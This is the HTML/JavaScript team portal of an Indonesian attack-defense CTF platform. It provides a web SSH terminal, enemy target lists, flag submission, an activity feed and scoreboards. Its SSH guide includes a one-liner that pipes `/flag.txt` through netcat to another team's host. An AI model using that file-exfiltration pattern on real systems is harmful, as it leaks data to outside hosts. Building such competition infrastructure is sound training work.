Files
attack-defense-platform/panel/static/team.html
T
MythEclipse c35b23a37f feat: SLA dashboard per team + points system (100/flag, +50 SLA bonus) + badges juara/runner-up/3rd + scoreboard API public+admin
Panel: /api/scoreboard + /api/public/scoreboard; teams.py: points.json ledger, probe_team_sla_fast, sla_status_all w/ background refresher; team.html: SLA & Skor tab; index.html: admin SLA tab; leaderboard shows points; Phew checker timeouts raised for slow Paillier keygen
2026-09-24 00:49:05 +08:00

515 lines
24 KiB
HTML

<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="team-id" content="0">
<title>Portal Tim — Gemastik A/D</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/xterm@5.3.0/css/xterm.min.css">
<script src="https://cdn.jsdelivr.net/npm/xterm@5.3.0/lib/xterm.min.js"></script>
<style>
:root { --bg:#0b0e14; --panel:#151a23; --panel2:#1d2430; --line:#2a3444; --txt:#e6edf3; --dim:#8b98a9; --accent:#38bdf8; --green:#34d399; --red:#f87171; --purple:#a78bfa; }
* { margin:0; padding:0; box-sizing:border-box; }
body { background:var(--bg); color:var(--txt); font-family:'Segoe UI',system-ui,sans-serif; min-height:100vh; }
.wrap { max-width:1000px; margin:0 auto; padding:24px 16px 60px; }
header { display:flex; align-items:center; gap:12px; margin-bottom:24px; flex-wrap:wrap; }
.logo { width:42px; height:42px; border-radius:10px; background:linear-gradient(135deg,#38bdf8,#6366f1); display:flex; align-items:center; justify-content:center; font-weight:800; font-size:20px; color:#fff; }
h1 { font-size:22px; }
.sub { color:var(--dim); font-size:13px; }
.badge { background:#06352a; border:1px solid var(--green); color:var(--green); border-radius:20px; padding:3px 12px; font-size:12px; font-weight:600; }
.badge.stopped { background:#3a1414; border-color:var(--red); color:var(--red); }
.card { background:var(--panel); border:1px solid var(--line); border-radius:14px; padding:20px; margin-bottom:16px; }
.card h2 { font-size:15px; margin-bottom:12px; color:var(--accent); }
.kv { display:grid; grid-template-columns:150px 1fr; gap:6px 12px; font-size:13px; margin-bottom:4px; }
.kv b { color:var(--dim); font-weight:500; }
.kv span { font-family:ui-monospace,monospace; }
table { width:100%; border-collapse:collapse; font-size:13px; }
th, td { text-align:left; padding:8px 6px; border-bottom:1px solid var(--line); }
th { color:var(--dim); font-weight:500; }
.dot { display:inline-block; width:8px; height:8px; border-radius:50%; margin-right:6px; }
.dot.up { background:var(--green); } .dot.down { background:var(--red); }
label { display:block; font-size:12px; color:var(--dim); margin:12px 0 5px; }
select, input[type=text], input[type=password] { width:100%; padding:10px 12px; border-radius:8px; border:1px solid var(--line); background:var(--panel2); color:var(--txt); font-size:14px; }
button { padding:12px 16px; border:none; border-radius:8px; background:linear-gradient(135deg,#38bdf8,#6366f1); color:#fff; font-weight:600; font-size:14px; cursor:pointer; }
button:hover { filter:brightness(1.1); }
button.ghost { background:var(--panel2); border:1px solid var(--line); color:var(--txt); }
#result { margin-top:14px; padding:12px; border-radius:8px; display:none; font-size:14px; }
#result.ok { display:block; background:#06352a; border:1px solid var(--green); color:var(--green); }
#result.err { display:block; background:#3a1414; border:1px solid var(--red); color:var(--red); }
.sshbox { background:var(--panel2); border:1px solid var(--line); border-radius:8px; padding:10px 12px; font-family:ui-monospace,monospace; font-size:12px; overflow-x:auto; }
/* login */
#loginScreen { max-width:420px; margin:80px auto; }
#loginScreen .card { padding:32px; }
#loginScreen h2 { text-align:center; margin-bottom:6px; }
#loginScreen .hint { text-align:center; color:var(--dim); font-size:12px; margin-bottom:18px; }
.login-err { color:var(--red); font-size:13px; margin-top:10px; display:none; }
/* tabs */
.tabs { display:flex; gap:8px; margin-bottom:16px; flex-wrap:wrap; }
.tabs button { background:var(--panel2); border:1px solid var(--line); color:var(--dim); font-weight:500; }
.tabs button.active { background:linear-gradient(135deg,#38bdf8,#6366f1); color:#fff; border-color:transparent; }
.view { display:none; }
.view.active { display:block; }
/* terminal */
#termWrap { background:#0d1117; border:1px solid var(--line); border-radius:10px; padding:8px; height:480px; }
#term { height:100%; }
.term-toolbar { display:flex; gap:8px; align-items:center; margin-bottom:10px; flex-wrap:wrap; }
#termStatus { font-size:12px; color:var(--dim); }
code { background:var(--panel2); padding:2px 6px; border-radius:5px; font-size:12px; }
.guide h3 { color:var(--purple); margin:18px 0 8px; font-size:14px; }
.guide p, .guide li { font-size:13px; color:#c9d4e3; line-height:1.7; }
.guide ol, .guide ul { padding-left:20px; }
.login-note { font-size:12px; color:var(--dim); margin-top:14px; text-align:center; }
.login-note a { color:var(--accent); }
/* activity feed */
.feed { display:flex; flex-direction:column; gap:10px; max-height:420px; overflow-y:auto; }
.feed-item { background:var(--panel2); border:1px solid var(--line); border-left:3px solid var(--line); border-radius:10px; padding:10px 14px; font-size:13px; line-height:1.5; }
.feed-item.in { border-left-color:var(--red); }
.feed-item.out { border-left-color:var(--green); }
.feed-item.ok { border-left-color:var(--green); }
.feed-item.fail { border-left-color:var(--red); }
.feed-time { color:var(--dim); font-size:11px; margin-left:8px; }
.feed-tag { font-size:11px; border-radius:5px; padding:1px 7px; margin-right:6px; font-weight:700; }
.tag-in { background:#3a1414; color:var(--red); }
.tag-out { background:#06352a; color:var(--green); }
code { background:var(--panel2); padding:2px 6px; border-radius:5px; font-size:12px; }
.lb-row { display:flex; align-items:center; gap:12px; padding:10px 12px; border-bottom:1px solid var(--line); font-size:14px; }
.lb-row.me { background:rgba(56,189,248,.08); border-left:3px solid var(--accent); }
.lb-rank { width:28px; font-weight:800; color:var(--dim); }
.lb-name { flex:1; font-weight:600; }
.lb-name small { color:var(--dim); font-weight:400; margin-left:6px; }
.lb-solves { background:var(--panel2); border:1px solid var(--line); border-radius:20px; padding:3px 12px; font-size:12px; color:var(--green); }
.lb-empty { color:var(--dim); font-size:13px; padding:20px; text-align:center; }
.svc-health { display:flex; flex-wrap:wrap; gap:8px; margin-top:12px; }
.svc-chip { border:1px solid var(--line); border-radius:8px; padding:4px 10px; font-size:12px; background:var(--panel2); }
.svc-chip.up { border-color:var(--green); color:var(--green); }
.svc-chip.down { border-color:var(--red); color:var(--red); }
</style>
</head>
<body>
<div class="wrap">
<header>
<div class="logo">G</div>
<div style="flex:1">
<h1 id="teamTitle">Portal Tim</h1>
<div class="sub" id="teamDomain"></div>
</div>
<span class="badge" id="teamStatus">…</span>
<button class="ghost" id="logoutBtn" style="display:none" onclick="logout()">Keluar</button>
</header>
<!-- LOGIN -->
<div id="loginScreen">
<div class="card">
<h2>🔐 Login Portal Tim</h2>
<div class="hint" id="loginHint">Masukkan <b>password SSH tim</b> kamu (dari panitia)</div>
<label>Password Tim</label>
<input type="password" id="loginPass" placeholder="password SSH tim" autocomplete="off">
<button onclick="doLogin()" style="width:100%;margin-top:16px">Masuk Portal</button>
<div class="login-err" id="loginErr"></div>
<div class="login-note">Belum punya password? Hubungi panitia.<br>Tutorial SSH: <a href="/team/0/guide" data-guide-link>baca panduan</a></div>
</div>
</div>
<!-- PORTAL -->
<div id="portalScreen" style="display:none">
<div class="tabs">
<button data-view="term" onclick="showView('term')">🖥️ Terminal SSH</button>
<button data-view="targets" onclick="showView('targets')">🎯 Target Musuh</button>
<button data-view="submit" onclick="showView('submit')">🚩 Submit Flag</button>
<button data-view="activity" onclick="showView('activity')">📡 Aktivitas</button>
<button data-view="leaderboard" onclick="showView('leaderboard')">🏆 Leaderboard</button>
<button data-view="sla" onclick="showView('sla'); loadSla()">📊 SLA & Skor</button>
<button data-view="guide" onclick="showView('guide')">📖 Panduan SSH</button>
</div>
<div class="view active" id="view-term">
<div class="card">
<h2>🖥️ SSH Terminal — pilih challenge</h2>
<div class="term-toolbar">
<select id="termChall" style="width:200px" onchange="connectTerm()">
<option value="blogpost">blogpost (web)</option>
<option value="carbeat">carbeat (pwn)</option>
<option value="cdn">cdn (web)</option>
<option value="phew">phew (crypto)</option>
<option value="sheesh">sheesh (crypto)</option>
<option value="warmup">warmup</option>
</select>
<button class="ghost" onclick="connectTerm()">🔄 Sambung</button>
<span id="termStatus">Belum tersambung</span>
</div>
<div id="termWrap"><div id="term"></div></div>
<div style="margin-top:10px;font-size:12px;color:var(--dim)">
SSH otomatis login sebagai <code>ctfuser</code> ke container challenge timmu. Koneksi diputus setelah idle.
</div>
</div>
</div>
<div class="view" id="view-targets">
<div class="card">
<h2>🎯 Target Musuh</h2>
<p style="font-size:13px;color:var(--dim);margin-bottom:12px">Service challenge tim lain — inilah yang harus kamu attack & curi flagnya.</p>
<div id="targetList" class="sshbox">Memuat…</div>
</div>
</div>
<div class="view" id="view-submit">
<div class="card">
<h2>🚩 Submit Flag</h2>
<label>Challenge</label>
<select id="challenge">
<option value="blogpost">blogpost (web)</option>
<option value="carbeat">carbeat (pwn)</option>
<option value="cdn">cdn (web)</option>
<option value="phew">phew (crypto)</option>
<option value="sheesh">sheesh (crypto)</option>
<option value="warmup">warmup</option>
</select>
<label>Target (tim musuh yang diserang)</label>
<select id="target">
<option value="">Memuat target…</option>
</select>
<label>Flag (yang kamu curi dari target)</label>
<input type="text" id="flag" placeholder="GEMASTIK18{...}" autocomplete="off">
<button onclick="submitFlag()" style="width:100%;margin-top:16px">Submit Flag</button>
<div id="result"></div>
</div>
</div>
<div class="view" id="view-activity">
<div class="card">
<h2>📡 Aktivitas &amp; Serangan</h2>
<p style="font-size:13px;color:var(--dim);margin-bottom:12px">
🔴 <b>masuk</b> = ada yang menyerang service timmu · 🟢 <b>keluar</b> = kamu menyerang tim lain.
Update otomatis tiap 15 detik.
</p>
<div id="activityFeed" class="feed"><div class="lb-empty">Memuat aktivitas…</div></div>
<div class="svc-health" id="svcHealth"></div>
</div>
</div>
<div class="view" id="view-leaderboard">
<div class="card">
<h2>🏆 Leaderboard</h2>
<p style="font-size:13px;color:var(--dim);margin-bottom:12px">Papan skor flag yang berhasil dicuri. Kamu = baris biru.</p>
<div id="lbList"></div>
</div>
</div>
<div class="view" id="view-sla">
<div class="card">
<h2>📊 SLA & Skor Tim</h2>
<p style="font-size:13px;color:var(--dim);margin-bottom:12px">
💚 <b>SLA</b> = service timmu hidup (dicek tiap ~30 detik) · 🏆 <b>poin</b> = dapat dari mencuri flag lawan (+100/flag) & bonus SLA saat seluruh service UP (+50).
</p>
<div id="slaList"><div class="lb-empty">Memuat…</div></div>
</div>
</div>
<div class="view" id="view-guide">
<div class="card guide">
<h2>📖 Panduan SSH & Attack</h2>
<h3>1. Apa itu SSH di sini?</h3>
<p>Setiap challenge punya service yang harus kamu <b>pertahankan</b> (defense) dan service tim lain yang harus kamu <b>serang</b> (attack). SSH container adalah akses administratif ke challenge tim kamu — untuk riset, patch, atau recovery.</p>
<h3>2. Login via Web Terminal</h3>
<ol>
<li>Buka tab <b>🖥️ Terminal SSH</b>.</li>
<li>Pilih challenge (misal <code>blogpost</code>).</li>
<li>Klik <b>Sambung</b> — otomatis login sebagai <code>ctfuser</code>.</li>
</ol>
<h3>3. Login via SSH biasa (opsional)</h3>
<div class="sshbox">ssh ctfuser@43.134.105.109 -p &lt;PORT_SSH&gt;
# password = password tim kamu</div>
<h3>4. Command yang berguna</h3>
<ul>
<li><code>cat /flag.txt</code> — flag <b>tim kamu sendiri</b> (jangan bocorin!)</li>
<li><code>ls /app /srv /opt</code> — cari source code challenge</li>
<li><code>ps aux</code> — lihat proses service</li>
<li><code>cat /flag.txt | nc &lt;ip_tim_lawan&gt; &lt;port_chall&gt;</code> — kirim flag kamu 🤫</li>
</ul>
<h3>5. Alur Attack</h3>
<ol>
<li>Cari vuln di challenge (SSTI, path traversal, crypto oracle, dll).</li>
<li>Exploit service <b>tim lawan</b> — lihat tab <b>🎯 Target Musuh</b>.</li>
<li>Baca flag dari container/service lawan.</li>
<li>Submit flag di tab <b>🚩 Submit Flag</b> → dapat poin.</li>
</ol>
<h3>6. Aturan</h3>
<ul>
<li>Jangan ubah flag tim sendiri (mount read-only).</li>
<li>Jangan matikan service tim sendiri — SLA dicek panitia.</li>
<li>Flag yang valid: <code>GEMASTIK18{...}</code>.</li>
</ul>
</div>
</div>
</div>
</div>
<script>
const TEAM_ID = parseInt(document.querySelector('meta[name="team-id"]').content || '0', 10);
let term = null, ws = null;
// fix all guide links immediately (no auth needed) — /team/0 would 403
document.querySelectorAll('[data-guide-link]').forEach(a => a.href = `/team/${TEAM_ID}/guide`);
async function api(url, opts) { const r = await fetch(url, opts); return r.json(); }
function esc(s) { return String(s ?? '').replace(/[&<>"']/g, c => ({'&':'&amp;','<':'&lt;','>':'&gt;','"':'&quot;',"'":'&#39;'}[c])); }
function showView(v) {
document.querySelectorAll('.tabs button').forEach(b => b.classList.toggle('active', b.dataset.view === v));
document.querySelectorAll('.view').forEach(x => x.classList.toggle('active', x.id === 'view-' + v));
if (v === 'term' && term) term.focus();
if (v === 'targets') loadTargets();
if (v === 'activity') loadActivity();
if (v === 'leaderboard') loadLeaderboard();
if (v === 'sla') loadSla();
}
// ---------- auth ----------
async function checkSession() {
const s = await api(`/api/team/${TEAM_ID}/session`);
if (s.authed) {
document.getElementById('loginScreen').style.display = 'none';
document.getElementById('portalScreen').style.display = 'block';
document.getElementById('logoutBtn').style.display = '';
loadInfo();
}
}
async function doLogin() {
const pass = document.getElementById('loginPass').value;
const err = document.getElementById('loginErr');
err.style.display = 'none';
const d = await api(`/api/team/${TEAM_ID}/login`, {
method: 'POST', headers: {'Content-Type': 'application/json'},
body: JSON.stringify({pass}),
});
if (d.ok) {
document.getElementById('loginScreen').style.display = 'none';
document.getElementById('portalScreen').style.display = 'block';
document.getElementById('logoutBtn').style.display = '';
loadInfo();
loadTargetDropdown(); // target dropdown needs auth — refresh after login
loadTargets();
} else {
err.textContent = 'Password salah. Coba lagi.';
err.style.display = 'block';
}
}
async function logout() {
await api('/api/team/logout', {method:'POST'});
location.reload();
}
// ---------- info & targets ----------
async function loadInfo() {
try {
const t = (await api(`/api/team/${TEAM_ID}/info`)).team;
document.getElementById('teamTitle').textContent = t.label || ('Team ' + TEAM_ID);
document.getElementById('teamDomain').textContent = t.domain || '';
const st = document.getElementById('teamStatus');
if (t.status === 'running') {
st.textContent = '● RUNNING'; st.className = 'badge';
} else {
st.textContent = '○ STOPPED'; st.className = 'badge stopped';
}
document.getElementById('loginHint').innerHTML = 'Masukkan <b>password SSH tim</b> kamu (dari panitia)';
document.getElementById('guideLink').href = `/team/${TEAM_ID}/guide`;
} catch (e) {}
}
async function loadTargets() {
const box = document.getElementById('targetList');
const d = await api(`/api/team/${TEAM_ID}/targets`);
const targets = d.targets || [];
if (!targets.length) { box.textContent = 'Belum ada tim musuh.'; return; }
let html = '=== TARGET MUSUH ===\n\n';
for (const t of targets) {
html += `${esc(t.domain)}:${t.port}\n`;
}
box.textContent = html;
}
// ---------- SSH terminal ----------
function connectTerm() {
const chall = document.getElementById('termChall').value;
const status = document.getElementById('termStatus');
const proto = location.protocol === 'https:' ? 'wss:' : 'ws:';
const url = `${proto}//${location.host}/api/team/${TEAM_ID}/ssh/ws?chall=${chall}`;
if (ws) { try { ws.close(); } catch(e){} }
if (term) term.dispose();
term = new Terminal({cursorBlink:true, fontSize:13, theme:{background:'#0d1117'}});
term.open(document.getElementById('term'));
ws = new WebSocket(url);
status.textContent = 'Menghubungkan…';
ws.onopen = () => { status.textContent = `● tersambung ke ${chall} (ctfuser)`; term.focus(); };
ws.onmessage = ev => term.write(ev.data);
ws.onclose = ev => { status.textContent = '✖ terputus (' + (ev.reason || 'closed') + ')'; };
ws.onerror = () => { status.textContent = '✖ error koneksi'; };
term.onData(d => {
if (ws && ws.readyState === WebSocket.OPEN) ws.send(d);
});
term.onResize(size => {
if (ws && ws.readyState === WebSocket.OPEN) ws.send(`__resize__:${size.cols}:${size.rows}`);
});
document.getElementById('view-term').querySelector('#termWrap').style.height = '480px';
}
// ---------- submit ----------
async function submitFlag() {
const res = document.getElementById('result');
res.className = '';
const d = await api('/api/flag/submit', {
method: 'POST', headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
team: TEAM_ID,
target: parseInt(document.getElementById('target').value || '0', 10) || TEAM_ID,
challenge: document.getElementById('challenge').value,
flag: document.getElementById('flag').value.trim(),
}),
});
if (d.success) { res.className = 'ok'; res.textContent = '✅ Flag benar! Poin masuk.'; }
else { res.className = 'err'; res.textContent = '❌ ' + (d.error || 'Gagal'); }
}
// target dropdown: all enemy teams (exclude own)
async function loadTargetDropdown() {
try {
const d = await api(`/api/team/${TEAM_ID}/targets`);
const sel = document.getElementById('target');
const targets = (d.targets || []).filter(t => t.team_idx !== TEAM_ID);
const seen = new Map();
for (const t of targets) seen.set(t.team_idx, t.team_label || ('Team ' + t.team_idx));
sel.innerHTML = '';
if (!seen.size) {
sel.innerHTML = '<option value="">Tidak ada tim musuh</option>';
return;
}
for (const [idx, label] of seen) {
const o = document.createElement('option');
o.value = idx; o.textContent = `${label} (tim ${idx})`;
sel.appendChild(o);
}
} catch (e) { /* non-fatal */ }
}
// ---------- activity feed (attacks involving this team) ----------
async function loadActivity() {
const box = document.getElementById('activityFeed');
const healthBox = document.getElementById('svcHealth');
try {
const d = await api(`/api/team/${TEAM_ID}/activity`);
const events = d.events || [];
if (!events.length) {
box.innerHTML = '<div class="lb-empty">Belum ada aktivitas serangan. Aman… untuk sekarang 😌</div>';
} else {
box.innerHTML = events.map(e => {
const inbound = e.target === TEAM_ID;
const cls = inbound ? 'in' : 'out';
const tag = inbound
? `<span class="feed-tag tag-in">⬇ MASUK</span>${esc(e.attacker_label)} menyerang`
: `<span class="feed-tag tag-out">⬆ KELUAR</span>kamu menyerang ${esc(e.target_label)}`;
const verdict = e.success
? '<span style="color:var(--green)">✅ flag benar</span>'
: '<span style="color:var(--red)">❌ flag salah</span>';
return `<div class="feed-item ${cls}">${tag} <code>${esc(e.challenge || '')}</code> ${verdict}` +
`<span class="feed-time">${esc(e.ts_human || '')}</span></div>`;
}).join('');
}
// own service health chips (all values escaped above via esc())
try {
const st = await api(`/api/team/${TEAM_ID}/status`);
if (st.results) {
healthBox.innerHTML = st.results.map(r =>
`<span class="svc-chip ${r.alive ? 'up' : 'down'}">${esc(r.name)} ${r.alive ? '● UP' : '○ DOWN'} :${r.port}</span>`
).join('');
}
} catch (e) {}
} catch (e) {
box.innerHTML = '<div class="lb-empty">Gagal memuat aktivitas.</div>';
}
}
// ---------- SLA & scoreboard (public endpoint) ----------
async function loadSla() {
const box = document.getElementById('slaList');
try {
const d = await api('/api/public/scoreboard');
const teams = d.teams || [];
if (!teams.length) {
box.innerHTML = '<div class="lb-empty">Belum ada data SLA.</div>';
return;
}
box.innerHTML = teams.map(t => {
const isMe = t.team === TEAM_ID;
const pct = Math.round(t.sla_pct || 0);
const color = pct === 100 ? '#2ecc71' : (pct >= 60 ? '#f1c40f' : '#e74c3c');
const bar = `<div style="height:8px;background:#1e2a3a;border-radius:4px;margin:6px 0;overflow:hidden"><div style="height:100%;width:${pct}%;background:${color};transition:width .5s"></div></div>`;
return `<div class="lb-row ${isMe ? 'me' : ''}">
<span class="lb-rank" style="width:34px">${esc(t.badge || t.rank)}</span>
<span class="lb-name">${esc(t.label)} ${isMe ? '<small>(kamu)</small>' : ''}</span>
<span class="lb-solves" style="width:170px;text-align:right">
<b style="color:${color}">${t.alive}/${t.total} (${pct}%)</b>
<br><small style="color:var(--dim)">⚑ ${t.solves} flag · 🏆 ${t.points} pts</small>
</span>
</div>${bar}`;
}).join('');
} catch (e) {
box.innerHTML = '<div class="lb-empty">Gagal memuat SLA.</div>';
}
}
// auto-refresh SLA while its tab is open (every 30s)
setInterval(async () => {
const s = document.getElementById('view-sla');
if (s && s.classList.contains('active')) loadSla();
}, 30000);
// ---------- leaderboard (public endpoint) ----------
async function loadLeaderboard() {
const box = document.getElementById('lbList');
try {
const d = await api('/api/leaderboard');
const teams = d.teams || [];
if (!teams.length) {
box.innerHTML = '<div class="lb-empty">Belum ada flag yang berhasil dicuri. Jadilah yang pertama! 🚀</div>';
return;
}
const medal = ['🥇','🥈','🥉'];
box.innerHTML = teams.map((t, i) => {
const isMe = t.team === TEAM_ID;
const rank = i < 3 ? medal[i] : `<span class="lb-rank" style="width:28px">${i+1}</span>`;
return `<div class="lb-row ${isMe ? 'me' : ''}">
<span class="lb-rank">${rank}</span>
<span class="lb-name">${esc(t.name)} ${isMe ? '<small>(kamu)</small>' : ''}</span>
<span class="lb-solves">⚑ ${t.solves} solve${t.solves > 1 ? 's' : ''} · 🏆 ${t.points ?? 0} pts</span>
</div>`;
}).join('');
const found = teams.some(t => t.team === TEAM_ID);
if (!found) {
box.innerHTML += `<div class="lb-row me"><span class="lb-rank">—</span><span class="lb-name">Tim kamu <small>(kamu)</small></span><span class="lb-solves">⚑ 0 solve</span></div>`;
}
} catch (e) {
box.innerHTML = '<div class="lb-empty">Gagal memuat leaderboard.</div>';
}
}
// auto-refresh activity while its tab is open (every 15s)
setInterval(async () => {
const a = document.getElementById('view-activity');
if (a && a.classList.contains('active')) loadActivity();
}, 15000);
loadTargetDropdown();
checkSession();
</script>
</body>
</html>